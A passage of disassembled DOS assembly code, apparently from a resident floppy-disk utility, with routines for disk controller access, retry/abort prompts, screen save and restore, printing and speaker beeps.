; get keybd char in al, ah=scan
cmp al,1Bh
je loc_77 ; Jump if equal
and al,0DFh
cmp al,52h ; 'R'
jne loc_76 ; Jump if not equal
jmp data_82
loc_76:
cmp al,41h ; 'A'
je loc_77 ; Jump if equal
call sub_11
jmp short loc_75
loc_77:
jmp loc_135
loc_78:
call sub_24
call sub_61
or byte ptr ds:[22Eh],80h
cli ; Disable interrupts
call sub_7
loc_79:
call sub_52
call sub_60
mov data_82,1596h
call sub_64
test data_73,0C0h
jz loc_80 ; Jump if zero
call sub_64
test data_73,0C0h
jz loc_80 ; Jump if zero
jmp loc_123
loc_80:
call sub_74
test data_73,0C0h
jz loc_81 ; Jump if zero
jmp short loc_83
db 90h
loc_81:
cmp byte ptr ds:[230h],0
je loc_82 ; Jump if equal
mov ax,word ptr ds:[243Dh]
cmp data_218,ax
jne loc_82 ; Jump if not equal
mov ax,word ptr ds:[243Fh]
cmp data_219,ax
jne loc_82 ; Jump if not equal
jmp loc_117
loc_82:
cmp byte ptr data_214,0EBh
jne loc_83 ; Jump if not equal
cmp data_217,200h
jne loc_83 ; Jump if not equal
mov data_84,1626h
jmp short loc_84
db 90h
loc_83:
mov data_84,1623h
loc_84:
call sub_77
jnc loc_85 ; Jump if carry=0
jmp loc_123
loc_85:
test al,40h ; '@'
jz loc_87 ; Jump if zero
loc_86:
mov data_62,3
jmp loc_125
loc_87:
mov byte ptr ds:[230h],0
loc_88:
mov data_82,161Fh
loc_89:
jmp data_84
call sub_78
mov data_68,28E9h
mov ax,word ptr data_60
mov data_67,ax
mov data_69,42h ; 'B'
mov data_70,0E6h
mov data_85,27F1h
call sub_75
test data_73,0C0h
jz loc_95 ; Jump if zero
test data_74,20h ; ' '
jz loc_90 ; Jump if zero
cmp data_94,2
je loc_93 ; Jump if equal
inc data_94
jmp short loc_91
db 90h
loc_90:
mov data_94,0
loc_91:
call sub_65
test data_73,0C0h
jz loc_92 ; Jump if zero
jmp loc_123
loc_92:
mov data_84,1623h
jmp short loc_88
loc_93:
mov data_94,0
cmp data_65,0
jne loc_94 ; Jump if not equal
jmp loc_105
loc_94:
call sub_51
loc_95:
cmp data_64,0
jne loc_97 ; Jump if not equal
mov data_64,1
loc_96:
jmp short loc_89
loc_97:
call sub_9
mov data_82,161Fh
mov data_64,0
inc data_65
inc data_63
cmp data_31,0
jne loc_98 ; Jump if not equal
inc data_63
loc_98:
call sub_46
cmp data_63,50h ; 'P'
jge loc_99 ; Jump if > or =
call sub_63
test data_73,0C0h
jz loc_96 ; Jump if zero
call sub_65
test data_73,0C0h
jz loc_96 ; Jump if zero
jmp short loc_100
db 90h
loc_99:
mov data_65,0
mov data_63,0
mov data_66,1
mov data_64,0
mov data_59,0
call sub_63
test data_73,0C0h
jz loc_101 ; Jump if zero
call sub_65
test data_73,0C0h
jz loc_101 ; Jump if zero
loc_100:
mov data_62,40h ; '@'
jmp loc_125
loc_101:
mov data_82,1712h
call sub_78
cmp data_64,1
je loc_102 ; Jump if equal
mov data_64,1
jmp short loc_101
loc_102:
call sub_52
mov ds,data_25
mov ax,word ptr ds:timer_low_+1
push cs
pop ds
mov word ptr ds:[243Dh],ax
loc_103:
mov data_82,1738h
mov data_64,0
mov data_68,2416h
mov data_67,1FFh
mov data_69,4Ah ; 'J'
mov data_70,0C5h
mov data_85,27F1h
call sub_75
test data_73,0C0h
jz loc_106 ; Jump if zero
test data_74,2
jz loc_104 ; Jump if zero
jmp loc_86
loc_104:
cmp data_94,0
jne loc_105 ; Jump if not equal
inc data_94
call sub_65
test data_73,0C0h
jz loc_103 ; Jump if zero
jmp loc_123
loc_105:
mov data_62,20h ; ' '
jmp loc_125
loc_106:
call sub_53
mov byte ptr ds:[21Ah],2
mov al,byte ptr ds:[242Bh]
mov data_214,al
mov data_215,0FFFFh
mov word ptr ds:[223h],0
mov word ptr ds:[21Fh],0
mov word ptr ds:[212h],139h
loc_107:
mov cx,80h
mov si,word ptr ds:[212h]
loc_108:
mov word ptr ds:[218h],cx
mov word ptr ds:[214h],si
call sub_55
sub ax,word ptr ds:[21Fh]
test cx,[si]
jz loc_113 ; Jump if zero
cmp ax,200h
jl loc_109 ; Jump if <
mov word ptr ds:[21Bh],ax
call sub_49
call sub_53
call sub_50
mov ax,word ptr ds:[21Bh]
sub ax,200h
loc_109:
mov di,offset data_214
add di,ax
mov al,data_56
cbw ; Convrt byte to word
cmp al,9
jne loc_110 ; Jump if not equal
clc ; Clear carry flag
rcr ax,1 ; Rotate thru carry
adc ax,0
loc_110:
mov cx,ax
mov si,word ptr ds:[229h]
loc_111:
mov bx,225h
mov ax,[bx+si]
mov bx,[di]
or ax,bx
cld ; Clear direction
stosw ; Store ax to es:[di]
xor si,2
nop ;*ASM fixup - sign extn byte
jz loc_112 ; Jump if zero
dec di
loc_112:
dec cx
jnz loc_111 ; Jump if not zero
mov word ptr ds:[21Dh],di
jmp short loc_114
db 90h
loc_113:
cmp ax,200h
jl loc_114 ; Jump if <
call sub_49
call sub_53
call sub_50
loc_114:
mov word ptr ds:[21Bh],ax
mov al,data_56
cbw ; Convrt byte to word
add word ptr ds:[223h],ax
mov ax,word ptr ds:[21Bh]
mov cx,word ptr ds:[218h]
mov si,word ptr ds:[214h]
shr cx,1 ; Shift w/zeros fill
jz loc_115 ; Jump if zero
jmp loc_108
loc_115:
inc word ptr ds:[212h]
mov ax,word ptr ds:[212h]
cmp ax,word ptr ds:[216h]
je loc_116 ; Jump if equal
jmp loc_107
loc_116:
call sub_49
call sub_54
mov di,data_100
mov ax,word ptr ds:[243Fh]
xchg ah,al
cld ; Clear direction
stosw ; Store ax to es:[di]
mov ax,word ptr ds:[243Dh]
xchg ah,al
stosw ; Store ax to es:[di]
mov ax,word ptr data_98
stosw ; Store ax to es:[di]
mov data_100,di
inc data_95
inc data_99
call sub_12
mov al,data_96
cmp data_95,al
je loc_119 ; Jump if equal
loc_117:
mov byte ptr ds:[230h],1
mov ds,data_25
mov byte ptr ds:dsk_motor_tmr_,2
push cs
pop ds
mov data_92,3AAh
call sub_45
mov cx,88h
locloop_118:
call sub_7
call sub_9
mov cx,word ptr ds:[22Bh]
mov data_82,1596h
loop locloop_118 ; Loop if cx > 0
jmp loc_79
loc_119:
mov data_92,3C2h
call sub_45
mov data_107,2
mov data_110,0Ch
loc_120:
mov data_81,130Dh
mov byte ptr ds:[230h],0
call sub_8
loc_121:
and byte ptr ds:[22Eh],0
mov sp,2B84h
mov ax,202h
push ax
push cs
mov ax,data_81
push ax
mov word ptr cs:[1DCh],sp
loc_122:
mov ss,word ptr ds:[20Eh]
mov sp,word ptr ds:[208h]
mov es,word ptr ds:[210h]
mov bp,word ptr ds:[20Ah]
mov si,word ptr ds:[204h]
mov di,word ptr ds:[206h]
mov ax,word ptr ds:[1FCh]
mov bx,word ptr ds:[1FEh]
mov cx,word ptr ds:[200h]
mov dx,word ptr ds:[202h]
mov ds,word ptr ds:[20Ch]
iret ; Interrupt return
loc_123:
mov byte ptr ds:[22Fh],0
mov dx,3F2h
mov al,8
out dx,al ; port 3F2h, dsk0 contrl output
cmp byte ptr ds:[230h],0
je loc_124 ; Jump if equal
jmp loc_117
loc_124:
mov data_62,80h
loc_125:
mov data_92,3B6h
call sub_45
call sub_12
mov byte ptr ds:[22Dh],6
call sub_7
call sub_12
call sub_8
mov data_81,195Dh
jmp short loc_121
sub_6 endp
loc_126:
and byte ptr cs:[22Eh],7Fh
call sub_28
jnc loc_128 ; Jump if carry=0
clc ; Clear carry flag
call sub_11
test byte ptr ds:[22Eh],20h ; ' '
jnz loc_127 ; Jump if not zero
jmp loc_121
loc_127:
jmp loc_120
loc_128:
call sub_22
call sub_23
call sub_56
call sub_20
cmp data_62,80h
je loc_129 ; Jump if equal
cmp data_62,3
je loc_132 ; Jump if equal
cmp data_62,40h ; '@'
je loc_131 ; Jump if equal
cmp data_62,20h ; ' '
je loc_130 ; Jump if equal
mov dh,0Ah
mov dl,1Eh
mov si,441h
call sub_14
jmp short loc_133
db 90h
loc_129:
mov dh,0Ah
mov dl,20h ; ' '
mov si,3DAh
call sub_14
jmp short loc_133
db 90h
loc_130:
mov dh,0Ah
mov dl,18h
mov si,420h
call sub_14
jmp short loc_133
db 90h
loc_131:
mov dh,0Ah
mov dl,22h ; '"'
mov si,402h
call sub_14
jmp short loc_133
db 90h
loc_132:
mov dh,0Ah
mov dl,1Dh
mov si,3EBh
call sub_14
loc_133:
mov dh,0Eh
mov dl,20h ; ' '
mov data_62,0
mov si,40Fh
call sub_14
call sub_13
loc_134:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,1Bh
je loc_135 ; Jump if equal
and al,0DFh
cmp al,52h ; 'R'
je loc_136 ; Jump if equal
cmp al,41h ; 'A'
je loc_135 ; Jump if equal
call sub_11
jmp short loc_134
loc_135:
call sub_24
mov data_107,0
mov data_110,6
jmp loc_120
loc_136:
call sub_24
cli ; Disable interrupts
mov byte ptr ds:[22Eh],0C0h
call sub_7
call sub_65
mov cx,5
jmp data_82
loc_137:
call sub_19
mov dh,0Dh
mov dl,15h
mov si,457h
call sub_14
call sub_13
loc_138:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,1Bh
je loc_144 ; Jump if equal
cmp al,0Dh
je loc_139 ; Jump if equal
call sub_11
jmp short loc_138
loc_139:
call sub_19
mov dh,0Dh
mov dl,21h ; '!'
mov si,47Fh
call sub_14
call sub_13
mov bp,0A2Bh
loc_140:
mov ah,2
xor dx,dx ; Zero register
int 17h ; Printer dx=prn1, ah=func 02h
; read status, ah=return status
test ah,10h
jz loc_143 ; Jump if zero
mov al,[bp]
cmp al,0
je loc_144 ; Jump if equal
xor ah,ah ; Zero register
xor dx,dx ; Zero register
int 17h ; Printer dx=prn1, ah=func 00h
; print char al, get status ah
test ah,29h ; ')'
jnz loc_141 ; Jump if not zero
inc bp
jmp short loc_140
loc_141:
call sub_19
mov dh,0Ch
mov dl,23h ; '#'
mov si,48Dh
loc_142:
call sub_14
mov data_82,1A2Eh
jmp loc_74
loc_143:
call sub_19
mov dh,0Ch
mov dl,1Eh
mov si,499h
jmp short loc_142
loc_144:
jmp loc_41
loc_145:
cmp data_95,0
jne loc_147 ; Jump if not equal
call sub_19
mov dh,0Dh
mov dl,20h ; ' '
mov si,38Dh
call sub_14
loc_146:
mov dh,0Fh
mov dl,16h
mov si,368h
call sub_14
call sub_13
jmp short loc_148
db 90h
loc_147:
mov ax,838h
mov cs:data_93,ax
call sub_21
call sub_31
loc_148:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
mov data_107,5
mov data_110,15h
jmp loc_41
loc_149:
cmp data_187,6666h
je loc_150 ; Jump if equal
mov data_187,6666h
jmp loc_41
loc_150:
mov data_187,206Eh
jmp loc_41
loc_151:
mov ax,11E0h
mov di,20h ; (' ')
call sub_30
jc loc_152 ; Jump if carry Set
mov ax,12E6h
mov di,offset data_42
call sub_30
jc loc_152 ; Jump if carry Set
mov ax,12CCh
mov di,offset data_38
call sub_30
jc loc_152 ; Jump if carry Set
mov ax,127Ah
mov di,24h ; (' ')
call sub_30
jnc loc_153 ; Jump if carry=0
loc_152:
clc ; Clear carry flag
call sub_19
mov dh,0Ch
mov dl,8
mov si,327h
call sub_14
jmp loc_146
loc_153:
xor ax,ax ; Zero register
mov word ptr data_24,ax
mov si,offset 195h
mov di,20h ; (' ')
call sub_29
mov si,offset 199h
mov di,24h ; (' ')
call sub_29
mov si,offset 19Dh
mov di,offset data_38
call sub_29
mov si,offset 1A1h
mov di,offset data_42
call sub_29
mov es,data_26
mov di,data_2e
xor ax,ax ; Zero register
stosw ; Store ax to es:[di]
mov es,data_27
mov di,data_2e
xor ax,ax ; Zero register
stosw ; Store ax to es:[di]
push cs
pop es
call sub_24
call sub_7
loc_154:
mov data_107,0
mov data_110,6
call sub_24
jmp loc_121
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_7 proc near
add byte ptr ds:[22Dh],1
cli ; Disable interrupts
mov word ptr ds:[1D0h],ax
pop ax
pushf ; Push flags
push cs
push ax
mov word ptr ds:[1DCh],sp
mov word ptr ds:[1D2h],bx
mov word ptr ds:[1DAh],ss
mov word ptr ds:[1E2h],ds
mov word ptr ds:[1E4h],es
mov word ptr ds:[1E0h],bp
mov word ptr ds:[1D8h],si
mov word ptr ds:[1DEh],di
mov word ptr ds:[1D4h],cx
mov word ptr ds:[1D6h],dx
jmp loc_122
sub_7 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_8 proc near
mov al,data_29
cbw ; Convrt byte to word
mov di,ax
mov ds,data_25
and byte ptr ds:hdsk0_media_st_[di],0EFh
mov byte ptr ds:dsk_motor_tmr_,2
mov byte ptr ds:dsk_recal_stat_,0
push cs
pop ds
retn
sub_8 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_9 proc near
mov word ptr ds:[22Bh],cx
test byte ptr ds:[22Eh],20h ; ' '
jz loc_ret_155 ; Jump if zero
pop ax
mov data_82,ax
jmp loc_126
loc_ret_155:
retn
sub_9 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_10 proc near
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
retn
sub_10 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_11 proc near
push ax
push bx
mov al,7
call sub_10
pop bx
pop ax
retn
sub_11 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_12 proc near
call sub_7
mov al,0B6h
out 43h,al ; port 43h, 8253 wrt timr mode
mov ax,180h
out 42h,al ; port 42h, 8253 timer 2 spkr
mov al,ah
out 42h,al ; port 42h, 8253 timer 2 spkr
in al,61h ; port 61h, 8255 port B, read
or al,3
out 61h,al ; port 61h, 8255 B - spkr, etc
call sub_7
in al,61h ; port 61h, 8255 port B, read
and al,0FCh
out 61h,al ; port 61h, 8255 B - spkr, etc
; al = 0, disable parity
retn
sub_12 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_13 proc near
mov ah,2
mov dx,2000h
mov bh,data_104
int 10h ; Video display ah=functn 02h
; set cursor location in dx
retn
sub_13 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_14 proc near
mov ah,2
mov bh,0
int 10h ; Video display ah=functn 02h
; set cursor location in dx
call sub_15
retn
sub_14 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_15 proc near
loc_156:
cld ; Clear direction
lodsb ; String [si] to al
cmp al,0
je loc_ret_157 ; Jump if equal
mov ah,0Eh
mov bh,0
int 10h ; Video display ah=functn 0Eh
; write char al, teletype mode
jmp short loc_156
loc_ret_157:
retn
sub_15 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_16 proc near
loc_158:
mov ah,0
int 16h ; Keyboard i/o ah=function 00h
; get keybd char in al, ah=scan
cmp al,1Bh
jne loc_159 ; Jump if not equal
pop ax
jmp data_89
loc_159:
cmp al,0Dh
jne loc_160 ; Jump if not equal
mov al,data_103
jmp short loc_161
db 90h
loc_160:
cmp al,30h ; '0'
jl loc_162 ; Jump if <
cmp al,data_102
jg loc_162 ; Jump if >
loc_161:
and ax,7
retn
loc_162:
call sub_11
jmp short loc_158
sub_16 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_17 proc near
mov cx,0FA0h
shr cx,1 ; Shift w/zeros fill
cld ; Clear direction
lodsb ; String [si] to al
inc si
xchg ah,al
loc_163:
lodsb ; String [si] to al
dec cx
jz loc_165 ; Jump if zero
inc si
cmp ah,al
jne loc_164 ; Jump if not equal
inc bx
jmp short loc_163
loc_164:
call sub_26
jmp short loc_163
loc_165:
call sub_26
retn
sub_17 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_18 proc near
push ds
push es
mov si,data_1e
mov di,data_16e
mov bx,0
mov ds,cs:data_91
mov es,cs:data_91
call sub_17
mov si,data_2e
mov bx,0
call sub_17
pop es
pop ds
retn
sub_18 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_19 proc near
mov ax,4ADh
mov data_93,ax
call sub_21
retn
sub_19 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_20 proc near
mov ax,6F7h
mov data_93,ax
call sub_21
retn
sub_20 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_21 proc near
push cx
push dx
push si
push di
push ax
xor di,di ; Zero register
mov si,cs:data_93
loc_166:
lodsb ; String [si] to al
cmp al,1
jne loc_169 ; Jump if not equal
lodsw ; String [si] to ax
mov cx,ax
test cl,80h
jz loc_167 ; Jump if zero
xchg ch,cl
and cx,7FFFh
lodsb ; String [si] to al
jmp short locloop_168
db 90h
loc_167:
xchg al,ah
and cx,7Fh
locloop_168:
call sub_25
loop locloop_168 ; Loop if cx > 0
jmp short loc_170
db 90h
loc_169:
call sub_25
loc_170:
cmp di,0FA0h
jl loc_166 ; Jump if <
jnz loc_171 ; Jump if not zero
mov di,1
jmp short loc_166
loc_171:
pop ax
pop di
pop si
pop dx
pop cx
retn
sub_21 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_22 proc near
push ds
mov ds,data_91
mov si,data_4e
mov di,offset data_115
mov cx,7
cld ; Clear direction
repe cmpsw ; Rep zf=1+cx >0 Cmp [si] to es:[di]
pop ds
cmp cx,0
jne loc_ret_172 ; Jump if not equal
mov data_92,0D5h
call sub_44
loc_ret_172:
retn
sub_22 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_23 proc near
mov ah,0Fh
int 10h ; Video display ah=functn 0Fh
; get state, al=mode, bh=page
; ah=columns on screen
mov ah,3
int 10h ; Video display ah=functn 03h
; get cursor loc in dx, mode cx
mov data_104,bh
mov data_105,cx
mov data_106,dx
call sub_18
retn
sub_23 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_24 proc near
mov data_93,1000h
mov ax,data_91
push ds
mov ds,ax
call sub_21
pop ds
mov bh,data_104
mov dx,data_106
mov ah,2
int 10h ; Video display ah=functn 02h
; set cursor location in dx
mov ah,1
mov cx,data_105
int 10h ; Video display ah=functn 01h
; set cursor mode in cx
retn
sub_24 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_25 proc near
push es
mov es,cs:data_91
mov dx,cs:data_90
cli ; Disable interrupts
push ax
loc_173:
in al,dx ; port 0, DMA-1 bas&add ch 0
test al,1
jnz loc_173 ; Jump if not zero
loc_174:
in al,dx ; port 0, DMA-1 bas&add ch 0
test al,1
jz loc_174 ; Jump if zero
pop ax
mov es:[di],al
sti ; Enable interrupts
inc di
inc di
pop es
retn
sub_25 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_26 proc near
cmp ah,1
je loc_175 ; Jump if equal
cmp bx,0
je loc_178 ; Jump if equal
cmp bx,1
jne loc_175 ; Jump if not equal
xor bx,bx ; Zero register
xchg ah,al
stosb ; Store al to es:[di]
jmp short loc_179
db 90h
loc_175:
push ax
inc bx
mov al,1
stosb ; Store al to es:[di]
mov ax,bx
and bx,0FF80h
nop ;*ASM fixup - sign extn byte
jz loc_176 ; Jump if zero
or ax,8000h
xchg ah,al
stosw ; Store ax to es:[di]
jmp short loc_177
db 90h
loc_176:
stosb ; Store al to es:[di]
loc_177:
xor bx,bx ; Zero register
pop ax
loc_178:
xchg ah,al
loc_179:
stosb ; Store al to es:[di]
retn
sub_26 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_27 proc near
mov al,data_110
mul data_111 ; ax = data * al
add ax,3Dh
mov di,ax
mov al,data_112
mov cl,15h
loc_180:
call sub_25
dec cl
cmp cl,0
jne loc_180 ; Jump if not equal
retn
sub_27 endp
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; SUBROUTINE
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
sub_28 proc near
mov ds,data_25
cmp byte ptr ds:video_mode_,7
je loc_183 ; Jump if equal
cmp byte ptr ds:video_mode_,2
je loc_182 ; Jump if equal
cmp byte ptr ds:video_mode_,3
je loc_182 ; Jump if equal
loc_181:
push cs
pop ds
stc ; Set carry flag
retn
loc_182:
push cs
pop ds
clc ; Clear carry flag
retn
loc_183:
mov ds,cs:data_91
xor si,si ; Zero register
mov cx,50h
xor bx,bx ; Zero register
cld ; Clear direction
locloop_184:
lodsw ; String [si] to ax
cmp ah,al
jne loc_185 ; Jump if not equal
inc bx
loc_185:
loop locloop_184 ; Loop if cx > 0
cmp bx,0Ah
jg loc_181 ; Jump if >
jmp short loc_182
